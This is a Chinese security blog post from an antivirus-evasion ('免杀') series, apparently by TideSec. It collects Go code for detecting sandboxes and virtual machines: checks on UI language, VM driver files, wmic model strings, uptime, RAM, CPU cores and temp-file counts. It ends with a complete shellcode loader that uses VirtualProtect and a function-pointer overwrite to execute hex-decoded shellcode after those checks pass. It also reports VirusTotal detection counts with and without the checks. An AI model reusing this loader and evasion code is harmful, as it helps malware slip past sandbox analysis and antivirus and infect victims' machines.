远控免杀专题(75)-基于Go的沙箱检测
2022-8-29 14:27:47 Author: www.secpulse.com(查看原文) 阅读量:37 收藏

免杀专题文章及工具:https://github.com/TideSec/BypassAntiVirus

免杀专题在线文库:http://wiki.tidesec.com/docs/bypassav

本文涉及的所有代码和资料:https://github.com/TideSec/GoBypassAV/

本文内容参考节选自以下资料:

反虚拟机和沙箱检测:https://www.freebuf.com/articles/system/202717.html

Golang实现沙箱识别:https://blog.51cto.com/u_15127583/4364960

Bypass AV 思路:https://github.com/Ed1s0nZ/GoYiyi

沙箱是用于隔离正在运行的程序的安全机制。它通常用于执行未经测试或不受信任的程序或代码,这个程序代码可能来自未经验证的或不受信任的第三方、供应商、用户或网站,而不会危害主机或操作系统。

在规避技术中,由于目前沙箱正成为判断恶意威胁的一种最快速和最简单的方式,因此反沙箱检测是比较重要的一类技术。

因为之前对这方面了解较少,所以这里搜集汇总了一些基于GO的沙箱检测方法。

2.1 操作系统语言检测

因为沙箱基本都是英文,所以根据首选操作系统语言是不是中文来判断是否为沙箱环境,简单粗暴一些。

而且依赖golang.org/x/sys/windows包,使用该包会增大exe程序0.3M左右。

func check_language() {
 a, _ := windows.GetUserPreferredUILanguages(windows.MUI_LANGUAGE_NAME) 
 if a[0] != "zh-CN" {
  os.Exit(1)
 }
}

2.2 操作系统信息

执行wmic命令,返回操作系统信息,根据关键字来判断,也是略简单粗暴。

func check_virtual() (bool, error) { // 识别虚拟机
 model := ""
 var cmd *exec.Cmd
 cmd = exec.Command("cmd""/C""wmic path Win32_ComputerSystem get Model")
 stdout, err := cmd.Output()
 if err != nil {
  return false, err
 }
 model = strings.ToLower(string(stdout))
 if strings.Contains(model, "VirtualBox") || strings.Contains(model, "virtual") || strings.Contains(model, "VMware") ||
  strings.Contains(model, "KVM") || strings.Contains(model, "Bochs") || strings.Contains(model, "HVM domU") || strings.Contains(model, "Parallels") {
  return true, nil //如果是虚拟机则返回true
 }
 return false, nil
}

2.3 检测系统文件

根据虚拟机或沙箱可能存在的一些文件,来进行判断。

func PathExists(path string) (bool, error) { 
 _, err := os.Stat(path)
 if err == nil {
  return true, nil
 }
 if os.IsNotExist(err) {
  return false, nil
 }
 return false, err
}
func fack(path string) { 
 b, _ := PathExists(path)
 if b {
  os.Exit(1) 
 }
}
func check_file() {
 fack("C:\windows\System32\Drivers\Vmmouse.sys")
 fack("C:\windows\System32\Drivers\vmtray.dll")
 fack("C:\windows\System32\Drivers\VMToolsHook.dll")
 fack("C:\windows\System32\Drivers\vmmousever.dll")
 fack("C:\windows\System32\Drivers\vmhgfs.dll")
 fack("C:\windows\System32\Drivers\vmGuestLib.dll")
 fack("C:\windows\System32\Drivers\VBoxMouse.sys")
 fack("C:\windows\System32\Drivers\VBoxGuest.sys")
 fack("C:\windows\System32\Drivers\VBoxSF.sys")
 fack("C:\windows\System32\Drivers\VBoxVideo.sys")
 fack("C:\windows\System32\vboxdisp.dll")
 fack("C:\windows\System32\vboxhook.dll")
 fack("C:\windows\System32\vboxoglerrorspu.dll")
 fack("C:\windows\System32\vboxoglpassthroughspu.dll")
 fack("C:\windows\System32\vboxservice.exe")
 fack("C:\windows\System32\vboxtray.exe")
 fack("C:\windows\System32\VBoxControl.exe")
}

2.4 延迟运行检测

在各类检测沙箱中,检测运行的时间往往是比较短的,因为其没有过多资源可以供程序长时间运行,所以我们可以延迟等待一会儿后再进行真实的操作。

func timeSleep() (int, error) {
 startTime := time.Now()
 time.Sleep(5 * time.Second)
 endTime := time.Now()
 sleepTime := endTime.Sub(startTime)
 if sleepTime >= time.Duration(5*time.Second) {
  return 1, nil
 } else {
  return 0, nil
 }
}

2.5 开机时间检测

许多沙箱检测完毕后会重置系统,我们可以检测开机时间来判断是否为真实的运行状况。

func bootTime() (int, error) {
 var kernel = syscall.NewLazyDLL("Kernel32.dll")
 GetTickCount := kernel.NewProc("GetTickCount")
 r, _, _ := GetTickCount.Call()
 if r == 0 {
  return 0, nil
 }
 ms := time.Duration(r * 1000 * 1000)
 tm := time.Duration(30 * time.Minute)
 if ms < tm {
  return 0, nil
 } else {
  return 1, nil
 }
}

2.6 检测物理内存

当今大多数pc具有4GB以上的RAM,我们可以检测RAM是否大于4GB来判断是否是真实的运行机器。

func physicalMemory() (int, error) {
 var mod = syscall.NewLazyDLL("kernel32.dll")
 var proc = mod.NewProc("GetPhysicallyInstalledSystemMemory")
 var mem uint64
 proc.Call(uintptr(unsafe.Pointer(&mem)))
 mem = mem / 1048576
 if mem < 4 {
  return 0, nil
 }
 return 1, nil
}

2.7 检测CPU核心数

大多数pc拥有4核心cpu,许多在线检测的虚拟机沙盘是2核心,我们可以通过核心数来判断是否为真实机器或检测用的虚拟沙箱。

func numberOfCPU() (int, error) {
 a := runtime.NumCPU()
 if a < 4 {
  return 0, nil
 } else {
  return 1, nil
 }
}

2.8 检测临时文件数

正常使用的系统,其中用户的临时文件夹中有一定数量的临时文件,可以通过判断临时文件夹内的文件数量来检测是否在沙箱中运行。

func numberOfTempFiles() (int, error) {
 conn := os.Getenv("temp")
 var k int
 if conn == "" {
  return 0, nil
 } else {
  local_dir := conn
  err := filepath.Walk(local_dir, func(filename string, fi os.FileInfo, err error) error {
   if fi.IsDir() {
    return nil
   }
   k++
   return nil
  })
  if err != nil {
   return 0, nil
  }
 }
 if k < 30 {
  return 0, nil
 }
 return 1, nil
}

我这使用相同的shellcode加载代码,一个使用沙箱检测,一个不使用沙箱检测。

常规编译命令,两个文件大小相差0.3M。

未使用沙箱检测技术的,VT查杀结果为:10/71

使用了沙箱检测技术的,VT查杀结果为:8/70

额,好像差别也不是很大。而且加了虚拟机检测后,自己调试也麻烦了。

在潮影在线免杀平台 http://bypass.tidesec.com 上,最初也有沙盒检测方面的功能模块,但后来发现效果一般,便去掉了。

本文涉及的所有代码和资料在这里都有:https://github.com/TideSec/GoBypassAV/

package main

import (
 "encoding/hex"
 "golang.org/x/sys/windows"
 "os"
 "os/exec"
 "path/filepath"
 "runtime"
 "strings"
 "syscall"
 "time"
 "unsafe"
)

// 检测语言,依赖windows数据包,编译后会增加0.6M大小
func check_language() {
 a, _ := windows.GetUserPreferredUILanguages(windows.MUI_LANGUAGE_NAME) //获取当前系统首选语言
 if a[0] != "zh-CN" {
  os.Exit(1)
 }
}

func check_sandbox() {
 // 1. 延时运行
 timeSleep1, _ := timeSleep()
 // 2. 检测开机时间
 bootTime1, _ := bootTime()
 // 3. 检测物理内存
 physicalMemory1, _ := physicalMemory()
 // 4. 检测CPU核心数
 numberOfCPU1, _ := numberOfCPU()
 // 5. 检测临时文件数
 numberOfTempFiles1, _ := numberOfTempFiles()
 level := timeSleep1 + bootTime1 + physicalMemory1 + numberOfCPU1 + numberOfTempFiles1 // 有五个等级,等级越趋向于5,越像真机
 //fmt.Println("level:", level)
 if level < 4 {
  os.Exit(1)
 }
}

// 1. 延时运行
func timeSleep() (int, error) {
 startTime := time.Now()
 time.Sleep(5 * time.Second)
 endTime := time.Now()
 sleepTime := endTime.Sub(startTime)
 if sleepTime >= time.Duration(5*time.Second) {
  //fmt.Println("睡眠时间为:", sleepTime)
  return 1, nil
 } else {
  return 0, nil
 }
}

// 2. 检测开机时间
// 许多沙箱检测完毕后会重置系统,我们可以检测开机时间来判断是否为真实的运行状况。
func bootTime() (int, error) {
 var kernel = syscall.NewLazyDLL("Kernel32.dll")
 GetTickCount := kernel.NewProc("GetTickCount")
 r, _, _ := GetTickCount.Call()
 if r == 0 {
  return 0, nil
 }
 ms := time.Duration(r * 1000 * 1000)
 tm := time.Duration(30 * time.Minute)
 //fmt.Println(ms,tm)
 if ms < tm {
  return 0, nil
 } else {
  return 1, nil
 }

}
// 3、物理内存大小
func physicalMemory() (int, error) {
 var mod = syscall.NewLazyDLL("kernel32.dll")
 var proc = mod.NewProc("GetPhysicallyInstalledSystemMemory")
 var mem uint64
 proc.Call(uintptr(unsafe.Pointer(&mem)))
 mem = mem / 1048576
 //fmt.Printf("物理内存为%dGn", mem)
 if mem < 4 {
  return 0, nil // 小于4GB返回0
 }
 return 1, nil // 大于4GB返回1
}

func numberOfCPU() (int, error) {
 a := runtime.NumCPU()
 //fmt.Println("CPU核心数为:", a)
 if a < 4 {
  return 0, nil // 小于4核心数,返回0
 } else {
  return 1, nil // 大于4核心数,返回1
 }
}
func numberOfTempFiles() (int, error) {
 conn := os.Getenv("temp") // 通过环境变量读取temp文件夹路径
 var k int
 if conn == "" {
  //fmt.Println("未找到temp文件夹,或temp文件夹不存在")
  return 0, nil
 } else {
  local_dir := conn
  err := filepath.Walk(local_dir, func(filename string, fi os.FileInfo, err error) error {
   if fi.IsDir() {
    return nil
   }
   k++
   // fmt.Println("filename:", filename)  // 输出文件名字
   return nil
  })
  //fmt.Println("Temp总共文件数量:", k)
  if err != nil {
   // fmt.Println("路径获取错误")
   return 0, nil
  }
 }
 if k < 30 {
  return 0, nil
 }
 return 1, nil
}

func check_virtual() (bool, error) { // 识别虚拟机
 model := ""
 var cmd *exec.Cmd
 cmd = exec.Command("cmd""/C""wmic path Win32_ComputerSystem get Model")
 stdout, err := cmd.Output()
 if err != nil {
  return false, err
 }
 model = strings.ToLower(string(stdout))
 if strings.Contains(model, "VirtualBox") || strings.Contains(model, "virtual") || strings.Contains(model, "VMware") ||
  strings.Contains(model, "KVM") || strings.Contains(model, "Bochs") || strings.Contains(model, "HVM domU") || strings.Contains(model, "Parallels") {
  return true, nil //如果是虚拟机则返回true
 }
 return false, nil
}
func PathExists(path string) (bool, error) {
 _, err := os.Stat(path)
 if err == nil {
  return true, nil
 }
 if os.IsNotExist(err) {
  return false, nil
 }
 return false, err
}
func fack(path string) {
 b, _ := PathExists(path)
 if b {
  os.Exit(1)
 }
}
func check_file() {
 fack("C:\windows\System32\Drivers\Vmmouse.sys")
 fack("C:\windows\System32\Drivers\vmtray.dll")
 fack("C:\windows\System32\Drivers\VMToolsHook.dll")
 fack("C:\windows\System32\Drivers\vmmousever.dll")
 fack("C:\windows\System32\Drivers\vmhgfs.dll")
 fack("C:\windows\System32\Drivers\vmGuestLib.dll")
 fack("C:\windows\System32\Drivers\VBoxMouse.sys")
 fack("C:\windows\System32\Drivers\VBoxGuest.sys")
 fack("C:\windows\System32\Drivers\VBoxSF.sys")
 fack("C:\windows\System32\Drivers\VBoxVideo.sys")
 fack("C:\windows\System32\vboxdisp.dll")
 fack("C:\windows\System32\vboxhook.dll")
 fack("C:\windows\System32\vboxoglerrorspu.dll")
 fack("C:\windows\System32\vboxoglpassthroughspu.dll")
 fack("C:\windows\System32\vboxservice.exe")
 fack("C:\windows\System32\vboxtray.exe")
 fack("C:\windows\System32\VBoxControl.exe")
}

var VirtualAlloc = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")

func aaa(a unsafe.Pointer, b uintptr, c uint32, d unsafe.Pointer) bool {
 ret, _, _ := VirtualAlloc.Call(
  uintptr(a),
  uintptr(b),
  uintptr(c),
  uintptr(d))
 return ret > 0
}

func Run(sc []byte) {
 fly := func() {}
 var xx uint32
 if !aaa(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&fly))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&xx)) {
 }
 **(**uintptr)(unsafe.Pointer(&fly)) = *(*uintptr)(unsafe.Pointer(&sc))
 var yy uint32
 aaa(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&yy))
 fly()
}

func ScFromHex(scHex string) []byte{
 var charcode []byte
 charcode, _ = hex.DecodeString(string(scHex))
 return charcode
}
func main() {
 check_language()
 check_file()
 check,_ := check_virtual()
 if check == true{
  os.Exit(1)
 }
 check_sandbox()
 sccode := ScFromHex("shellcode")
 Run(sccode)
}

Go语言进行简单的反虚拟机检测:https://www.nctry.com/2243.html

反虚拟机和沙箱检测:https://www.freebuf.com/articles/system/202717.html

Golang实现沙箱识别:https://blog.51cto.com/u_15127583/4364960

各种go-shellcode:https://github.com/Ne0nd0g/go-shellcode

E

N

D

本文作者:TideSec

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/186371.html


文章来源: https://www.secpulse.com/archives/186371.html
如有侵权请联系:admin#unsafe.sh